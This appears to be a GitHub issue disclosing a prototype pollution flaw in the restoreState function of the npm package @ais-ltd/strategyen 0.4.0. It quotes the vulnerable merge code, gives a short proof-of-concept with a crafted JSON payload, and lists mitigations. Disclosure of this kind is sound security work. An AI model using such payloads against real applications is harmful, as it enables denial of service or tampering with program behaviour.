Prototype Pollution vulnerability affecting @ais-ltd/strategyen, version 0.4.0

[tariqhawis]

Prototype Pollution vulnerability affecting latest version

Vulnerable function: restoreState in helpers.js, find below the code snippet

Details Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

To exploit the vulnerability, someone may inject a malicious object from a user controllable input to startServer function in server.js. Once merge() invoked, the input resolves to the object prototype thus modify the behavior of the program.

Vulnerable code:

export async function restoreState(obj = {}) { if (obj.cache) { delete obj.cache; } merge(state, obj); }

POC:

import * as lib from '@ais-ltd/strategyen';

var BAD_JSON = JSON.parse('{"proto":{"polluted":true}}'); var victim = {} console.log("Before Attack: ", JSON.stringify(victim.proto)); try { lib.helpers.restoreState(BAD_JSON) } catch (e) { } console.log("After Attack: ", JSON.stringify(victim.proto)); delete Object.prototype.polluted;

Mitigation:

Freeze the prototype— use Object.freeze (Object.prototype).
Validation of JSON inputs.
Use Map instead of Object.
Crete objects without prototype, that will break the prototype chain and preventing pollution. Example:
let obj = Object.create(null);
obj.proto // undefined
obj.constructor // undefined

[tariqhawis]

Is there any updates on this?